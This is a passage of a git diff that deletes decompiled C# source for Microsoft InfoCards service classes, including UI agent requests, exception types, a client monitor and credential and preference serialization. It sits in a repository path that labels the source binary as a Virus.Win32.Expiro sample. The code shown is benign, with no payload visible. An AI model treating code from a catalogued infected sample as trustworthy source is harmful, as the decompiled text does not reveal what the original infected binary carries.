asyncParam = (AsyncParams) state; - try - { - if (asyncParam.AsyncResult.IsCanceled) - asyncParam.AsyncResult.Exception = (Exception) new Win32Exception(1223); - else - asyncParam.AsyncResult.Result = this.AsyncExecute(asyncParam); - } - catch (Exception ex) - { - if (InfoCardTrace.IsFatal(ex)) - InfoCardService.Crash(ex); - asyncParam.AsyncResult.Exception = ex; - } - asyncParam.AsyncResult.Complete(); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/UIAgentAsyncEndRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/UIAgentAsyncEndRequest.cs deleted file mode 100644 index c3e374f6..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/UIAgentAsyncEndRequest.cs +++ /dev/null @@ -1,78 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.UIAgentAsyncEndRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal abstract class UIAgentAsyncEndRequest : UIAgentRequest - { - private int m_asyncHandle; - private bool m_isCompleted; - private object m_result; - private bool m_isCancelled; - - public UIAgentAsyncEndRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - public object Result - { - get - { - InfoCardTrace.Assert(this.m_isCompleted, "Attempt to pick up async result before completion."); - return this.m_result; - } - } - - public bool IsCancelled - { - get - { - InfoCardTrace.Assert(this.m_isCompleted, "Attempt to pick up async result before completion."); - return this.m_isCancelled; - } - } - - protected override void OnMarshalInArgs() - { - this.m_asyncHandle = new InfoCardBinaryReader(this.InArgs, Encoding.Unicode).ReadInt32(); - InfoCardTrace.Assert(0 != this.m_asyncHandle, "null async handle"); - } - - protected override void OnProcess() - { - using (RpcAsyncResult rpcAsyncResult = this.ParentRequest.WaitForAsyncCompletion(this.m_asyncHandle)) - { - this.m_isCancelled = rpcAsyncResult.IsCanceled; - if (!this.m_isCancelled) - this.m_result = rpcAsyncResult.Result; - } - this.m_isCompleted = true; - } - - protected override sealed void OnMarshalOutArgs() - { - BinaryWriter writer = new BinaryWriter(this.OutArgs, Encoding.Unicode); - writer.Write(this.IsCancelled); - if (this.IsCancelled) - return; - this.OnMarshalAsyncOutArgs(writer); - } - - protected virtual void OnMarshalAsyncOutArgs(BinaryWriter writer) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/UIAgentAsyncParams.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/UIAgentAsyncParams.cs deleted file mode 100644 index 7d5e4e78..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/UIAgentAsyncParams.cs +++ /dev/null @@ -1,27 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.UIAgentAsyncParams -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.Win32.SafeHandles; - -namespace Microsoft.InfoCards -{ - internal class UIAgentAsyncParams : AsyncParams - { - private UIAgentRequest m_agentRequest; - - public UIAgentAsyncParams( - string opType, - ClientRequest request, - SafeWaitHandle externEvent, - UIAgentRequest agentRequest) - : base(request, opType, externEvent) - { - this.m_agentRequest = agentRequest; - } - - public UIAgentRequest AgentRequest => this.m_agentRequest; - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/UIAgentCrashedException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/UIAgentCrashedException.cs deleted file mode 100644 index a58dc44b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/UIAgentCrashedException.cs +++ /dev/null @@ -1,14 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.UIAgentCrashedException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; - -namespace Microsoft.InfoCards -{ - internal class UIAgentCrashedException : Exception - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/UIAgentInitializationException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/UIAgentInitializationException.cs deleted file mode 100644 index 8ddc7e0d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/UIAgentInitializationException.cs +++ /dev/null @@ -1,25 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.UIAgentInitializationException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class UIAgentInitializationException : InfoCardBaseException - { - private const int HRESULT = -1073413862; - - public UIAgentInitializationException() - : base(-1073413862) - { - } - - protected UIAgentInitializationException(SerializationInfo si, StreamingContext sc) - : base(-1073413862, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/UIAgentMonitor.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/UIAgentMonitor.cs deleted file mode 100644 index a371f07d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/UIAgentMonitor.cs +++ /dev/null @@ -1,76 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.UIAgentMonitor -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; - -namespace Microsoft.InfoCards -{ - internal class UIAgentMonitor - { - private static UIAgentMonitor s_singleton = (UIAgentMonitor) null; - private static object s_syncRoot = new object(); - private Dictionary m_currentCallingUsers; - private Dictionary m_currentTSSessions; - - private UIAgentMonitor() - { - this.m_currentCallingUsers = new Dictionary(); - this.m_currentTSSessions = new Dictionary(); - } - - public static UIAgentMonitor Instance() - { - if (UIAgentMonitor.s_singleton == null) - { - lock (UIAgentMonitor.s_syncRoot) - { - if (UIAgentMonitor.s_singleton == null) - UIAgentMonitor.s_singleton = new UIAgentMonitor(); - } - } - return UIAgentMonitor.s_singleton; - } - - public void AddNewClient(UIAgentMonitorHandle handle) - { - lock (UIAgentMonitor.s_syncRoot) - { - string userName = handle.UserName; - int tsSessionId = handle.TsSessionId; - if (this.m_currentCallingUsers.ContainsKey(userName)) - throw InfoCardTrace.ThrowHelperError((Exception) new ServiceBusyException(SR.GetString("ServiceInUseOnAnotherSession"))); - if (this.m_currentTSSessions.ContainsKey(tsSessionId)) - throw InfoCardTrace.ThrowHelperError((Exception) new ServiceBusyException(SR.GetString("ServiceInUseOnAnotherSession"))); - this.m_currentCallingUsers.Add(userName, handle); - try - { - this.m_currentTSSessions.Add(tsSessionId, handle); - } - catch (Exception ex) - { - this.m_currentCallingUsers.Remove(userName); - throw; - } - } - } - - public void RemoveClient(UIAgentMonitorHandle handle) - { - lock (UIAgentMonitor.s_syncRoot) - { - string userName = handle.UserName; - int tsSessionId = handle.TsSessionId; - if (!string.IsNullOrEmpty(userName) && this.m_currentCallingUsers.ContainsKey(userName) && handle == this.m_currentCallingUsers[userName]) - this.m_currentCallingUsers.Remove(userName); - if (!this.m_currentTSSessions.ContainsKey(tsSessionId) || handle != this.m_currentTSSessions[tsSessionId]) - return; - this.m_currentTSSessions.Remove(tsSessionId); - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/UIAgentMonitorHandle.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/UIAgentMonitorHandle.cs deleted file mode 100644 index eb7eab58..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/UIAgentMonitorHandle.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.UIAgentMonitorHandle -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal class UIAgentMonitorHandle : IDisposable - { - private InfoCardUIAgent m_agent; - private string m_username; - private int m_tsSessionId; - - public string UserName => this.m_username; - - public int TsSessionId => this.m_tsSessionId; - - public InfoCardUIAgent CreateAgent( - int callerPid, - WindowsIdentity callerIdentity, - int tsSessionId) - { - this.m_username = callerIdentity.User.ToString(); - this.m_tsSessionId = tsSessionId; - UIAgentMonitor.Instance().AddNewClient(this); - this.m_agent = InfoCardUIAgent.Create(callerPid, callerIdentity, tsSessionId); - return this.m_agent; - } - - void IDisposable.Dispose() => UIAgentMonitor.Instance().RemoveClient(this); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/UIAgentRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/UIAgentRequest.cs deleted file mode 100644 index 73b8073f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/UIAgentRequest.cs +++ /dev/null @@ -1,138 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.UIAgentRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using Microsoft.Win32.SafeHandles; -using System; -using System.ComponentModel; -using System.IO; -using System.Runtime.InteropServices; -using System.Security; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal abstract class UIAgentRequest : Request - { - private ClientUIRequest m_parentRequest; - - public UIAgentRequest(IntPtr rpcHandle, Stream inArgs, Stream outArgs, ClientUIRequest parent) - : this(rpcHandle, inArgs, outArgs, parent, ExceptionList.Empty) - { - } - - public UIAgentRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent, - ExceptionList exceptionList) - : base(rpcHandle, inArgs, outArgs, exceptionList) - { - this.m_parentRequest = parent; - } - - public ClientUIRequest ParentRequest => this.m_parentRequest; - - protected InfoCardUIAgent UIAgent => this.ParentRequest != null ? this.ParentRequest.UIAgent : (InfoCardUIAgent) null; - - public static uint Authorize(IntPtr rpcIfHandle, IntPtr context) - { - uint num = 5; - if (IntPtr.Zero == rpcIfHandle) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (rpcIfHandle)); - if (IntPtr.Zero == context) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (context)); - try - { - WindowsIdentity windowsIdentity = Utility.GetWindowsIdentity(context); - try - { - NativeMcppMethods.CheckSIDAgainstCurrentRpcUser((InfoCardUIAgent.FindByPid(Utility.GetRpcClientPid(context)) ?? throw InfoCardTrace.ThrowHelperError((Exception) new SecurityException())).TrustedUserSid); - num = 0U; - } - finally - { - windowsIdentity.Dispose(); - } - } - catch (SecurityException ex) - { - InfoCardTrace.Assert(5U == num, "Unexpected value for err!"); - } - catch (Exception ex) - { - InfoCardService.Crash(ex); - } - return num; - } - - public static void BindToService( - IntPtr uiagentRpcHandle, - IntPtr nativeDesktopName, - int cbUserSid, - IntPtr pUserSid, - int cbTrustedSid, - IntPtr pTrustedSid, - out IntPtr nativeStartEventHandle, - out IntPtr nativeCompleteEventHandle, - out RpcUIAgentGetWorkCallback callback) - { - string stringUni = Marshal.PtrToStringUni(nativeDesktopName); - callback = (RpcUIAgentGetWorkCallback) null; - nativeStartEventHandle = IntPtr.Zero; - nativeCompleteEventHandle = IntPtr.Zero; - using (WindowsIdentity windowsIdentity = Utility.GetWindowsIdentity(uiagentRpcHandle)) - { - WindowsImpersonationContext impersonationContext = windowsIdentity.Impersonate(); - try - { - uint pid; - if (NativeMethods.I_RpcBindingInqLocalClientPID(uiagentRpcHandle, out pid) != 0U) - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException(SR.GetString("FailedToBindToService"))); - InfoCardUIAgent byPid = InfoCardUIAgent.FindByPid(pid); - if (byPid == null) - return; - SecurityIdentifier userSid; - SafeWaitHandle hStartEvent; - SafeWaitHandle hCompleteEvent; - callback = byPid.Bind(stringUni, out userSid, out hStartEvent, out hCompleteEvent); - byte[] numArray = new byte[Math.Max(cbUserSid, cbTrustedSid)]; - windowsIdentity.User.GetBinaryForm(numArray, 0); - Marshal.Copy(numArray, 0, pUserSid, cbUserSid); - userSid.GetBinaryForm(numArray, 0); - Marshal.Copy(numArray, 0, pTrustedSid, cbTrustedSid); - nativeStartEventHandle = hStartEvent.DangerousGetHandle(); - nativeCompleteEventHandle = hCompleteEvent.DangerousGetHandle(); - } - finally - { - impersonationContext.Undo(); - } - } - } - - public override WindowsIdentity RequestorIdentity => this.ParentRequest.RequestorIdentity; - - protected override void OnInitializeAsSystem() - { - try - { - NativeMcppMethods.CheckSIDAgainstCurrentRpcUser(this.ParentRequest.UIAgentLogonSid); - } - catch (Win32Exception ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new InfoCardArgumentException(SR.GetString("UnableToAuthenticateUIAgent"), (Exception) ex)); - } - catch (SecurityException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new InfoCardArgumentException(SR.GetString("UnableToAuthenticateUIAgent"), (Exception) ex)); - } - } - - protected InfoCardPolicy GetPolicy() => !(this.ParentRequest is GetTokenRequest parentRequest) ? (InfoCardPolicy) null : parentRequest.Policy; - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/UIEndRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/UIEndRequest.cs deleted file mode 100644 index dad88b97..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/UIEndRequest.cs +++ /dev/null @@ -1,30 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.UIEndRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class UIEndRequest : UIAgentRequest - { - private ClientUIRequest.RequestResult m_result; - - public UIEndRequest(IntPtr rpcHandle, Stream inArgs, Stream outArgs, ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalInArgs() => this.m_result = (ClientUIRequest.RequestResult) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode).ReadInt32(); - - protected override void OnProcess() => this.UIAgent.SetUIStatus(this.m_result); - - protected override void OnMarshalOutArgs() - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/UnlockCardRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/UnlockCardRequest.cs deleted file mode 100644 index 358ab34b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/UnlockCardRequest.cs +++ /dev/null @@ -1,58 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.UnlockCardRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; -using System.Globalization; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class UnlockCardRequest : UIAgentRequest - { - private InfoCard m_card; - - public UnlockCardRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnInitializeAsSystem() => base.OnInitializeAsSystem(); - - protected override void OnMarshalInArgs() => this.m_card = new InfoCard(this.InArgs); - - protected override void OnProcess() - { - StoreConnection connection = StoreConnection.GetConnection(); - try - { - this.m_card.Connection = connection; - this.m_card.GetMasterKey(connection); - this.m_card.Decrypt(); - } - finally - { - connection.Close(); - } - } - - protected override void OnMarshalOutArgs() - { - StoreConnection connection = StoreConnection.GetConnection(); - try - { - this.m_card.AgentSerialize(this.OutArgs, this.ParentRequest is GetTokenRequest, this.GetPolicy(), connection, new CultureInfo(this.ParentRequest.UserLanguage)); - } - finally - { - connection.Close(); - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/UnsupportedPolicyOptionsException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/UnsupportedPolicyOptionsException.cs deleted file mode 100644 index 44453c1a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/UnsupportedPolicyOptionsException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.UnsupportedPolicyOptionsException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class UnsupportedPolicyOptionsException : InfoCardBaseException - { - private const int HRESULT = -1073413866; - - public UnsupportedPolicyOptionsException() - : base(-1073413866) - { - } - - public UnsupportedPolicyOptionsException(string message) - : base(-1073413866, message) - { - } - - public UnsupportedPolicyOptionsException(string message, Exception inner) - : base(-1073413866, message, inner) - { - } - - protected UnsupportedPolicyOptionsException(SerializationInfo si, StreamingContext sc) - : base(-1073413866, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/UntrustedRecipientException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/UntrustedRecipientException.cs deleted file mode 100644 index fb656fd8..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/UntrustedRecipientException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.UntrustedRecipientException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class UntrustedRecipientException : InfoCardBaseException - { - private const int HRESULT = -1073413870; - - public UntrustedRecipientException() - : base(-1073413870) - { - } - - public UntrustedRecipientException(string message) - : base(-1073413870, message) - { - } - - public UntrustedRecipientException(string message, Exception inner) - : base(-1073413870, message, inner) - { - } - - protected UntrustedRecipientException(SerializationInfo si, StreamingContext sc) - : base(-1073413870, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/UserNameTokenFactoryCredential.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/UserNameTokenFactoryCredential.cs deleted file mode 100644 index 9e2836d6..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/UserNameTokenFactoryCredential.cs +++ /dev/null @@ -1,31 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.UserNameTokenFactoryCredential -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class UserNameTokenFactoryCredential : TokenFactoryCredential - { - private string m_userName; - private string m_password; - - public UserNameTokenFactoryCredential() - : base(TokenFactoryCredentialType.UserNamePasswordCredential) - { - } - - public string UserName => this.m_userName; - - public string Password => this.m_password; - - protected override void DeserializeData(BinaryReader reader) - { - this.m_userName = Utility.DeserializeString(reader); - this.m_password = Utility.DeserializeString(reader); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/UserPreference.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/UserPreference.cs deleted file mode 100644 index 6b732898..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/UserPreference.cs +++ /dev/null @@ -1,93 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.UserPreference -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.Globalization; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class UserPreference - { - private const byte Version = 1; - private const byte Marker = 29; - private const string Id = "urn:microsoft.com:infocards:user_prefs"; - private const int s_ATApplicationsDisabled = 0; - private int m_ATApplicationsFlags; - private bool m_showClaimsFlag; - - public UserPreference() - { - } - - public UserPreference(Stream stream) => this.Deserialize(stream); - - public void Serialize(Stream stream) - { - BinaryWriter binaryWriter = new BinaryWriter(stream, Encoding.Unicode); - binaryWriter.Write((byte) 1); - binaryWriter.Write(this.m_ATApplicationsFlags); - binaryWriter.Write(this.m_showClaimsFlag); - binaryWriter.Write((byte) 29); - } - - public void Deserialize(Stream stream) - { - BinaryReader binaryReader = (BinaryReader) new InfoCardBinaryReader(stream, Encoding.Unicode); - if ((byte) 1 != binaryReader.ReadByte()) - InfoCardTrace.Assert(false, "Incorrect version found in stream deserialization"); - this.m_ATApplicationsFlags = binaryReader.ReadInt32(); - this.m_showClaimsFlag = binaryReader.ReadBoolean(); - if ((byte) 29 == binaryReader.ReadByte()) - return; - InfoCardTrace.Assert(false, "malformed stream detected"); - } - - public void Save(StoreConnection con) - { - DataRow row = con.GetSingleRow(new QueryParameter("ix_objecttype", new object[1] - { - (object) -2 - }), new QueryParameter("ix_globalid", new object[1] - { - (object) GlobalId.DeriveFrom("urn:microsoft.com:infocards:user_prefs") - })); - if (row == null) - { - row = new DataRow(); - row.ObjectType = -2; - 